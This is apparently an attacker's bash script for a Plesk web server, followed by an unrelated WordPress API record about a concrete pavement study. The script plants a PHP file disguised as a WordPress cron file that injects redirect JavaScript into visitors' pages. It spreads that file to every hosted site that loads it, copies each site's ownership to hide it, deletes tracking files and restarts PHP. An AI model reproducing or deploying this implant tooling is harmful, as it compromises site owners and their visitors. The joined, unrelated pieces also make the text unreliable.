#!/bin/bash
SRC=/var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
grep -q '__lure=1' "$SRC" && echo ALREADY && exit 0
perl -0777 -i -pe 's#setTimeout\(function\(\)\{if\(document\.visibilityState.*?\}\,d\)#setTimeout(function(){var d=1300+Math.floor(Math.random()*1000);setTimeout(function(){if(document.visibilityState==="hidden"){setTimeout(arguments.callee,1500);return}location.replace(location.protocol+"//"+location.host+location.pathname+(location.search||"")+"\&__lure=1")},d)}#s' "$SRC"
grep -q '__lure=1' "$SRC" && echo PERL_OK || { echo PERL_FAIL; exit 1; }
cp "$SRC" /var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
F=0
for d in /var/www/vhosts/*/httpdocs; do
  ix="$d/index.php"; [ -f "$ix" ] || continue
  grep -q 'cron-sync' "$ix" || continue
  U=$(stat -c %U "$ix"); G=$(stat -c %G "$ix")
  cp $SRC "$d/wp-cron-sync.php"
  chown $U:$G "$d/wp-cron-sync.php"; chmod 644 "$d/wp-cron-sync.php"
  F=$((F+1))
done
find /var/www/vhosts/*/httpdocs -maxdepth 1 \( -name ".*.seen" -o -name "..*.stats" \) -delete 2>/dev/null
systemctl restart plesk-php84-fpm plesk-php83-fpm plesk-php82-fpm plesk-php81-fpm plesk-php80-fpm plesk-php74-fpm 2>/dev/null
systemctl reload nginx 2>/dev/null
echo "F57_DONE files=$F"
{"id":3113,"date":"2017-12-20T19:56:00","date_gmt":"2017-12-20T18:56:00","guid":{"rendered":"https:\/\/teselainnova.com\/proyecto\/compositional-study-pavement-concrete-pathologies-parking\/"},"modified":"2023-10-30T18:16:58","modified_gmt":"2023-10-30T17:16:58","slug":"compositional-study-pavement-concrete-pathologies-parking","status":"publish","type":"proyecto","link":"https:\/\/teselainnova.com\/en\/project\/compositional-study-pavement-concrete-pathologies-parking\/","title":{"rendered":"COMPOSITIONAL STUDY OF A CONCRETE PAVEMENT WITH RESIDENTIAL CAR PARK PATHOLOGIES"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">In this project, a series of concrete cores from the pavement of a residential car park were analysed. The analysis techniques used were loupe-videomicroscopy and X-ray diffraction.<\/p>\n","protected":false},"featured_media":1032,"template":"","fecha-realizacion":[56],"tipo-proyecto":[49],"class_list":["post-3113","proyecto","type-proyecto","status-publish","has-post-thumbnail","hentry","fecha-realizacion-2017-en","tipo-proyecto-innovation"],"acf":[],"_links":{"self":[{"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/proyecto\/3113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/proyecto"}],"about":[{"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/types\/proyecto"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/media\/1032"}],"wp:attachment":[{"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/media?parent=3113"}],"wp:term":[{"taxonomy":"fecha-realizacion","embeddable":true,"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/fecha-realizacion?post=3113"},{"taxonomy":"tipo-proyecto","embeddable":true,"href":"https:\/\/teselainnova.com\/en\/wp-json\/wp\/v2\/tipo-proyecto?post=3113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}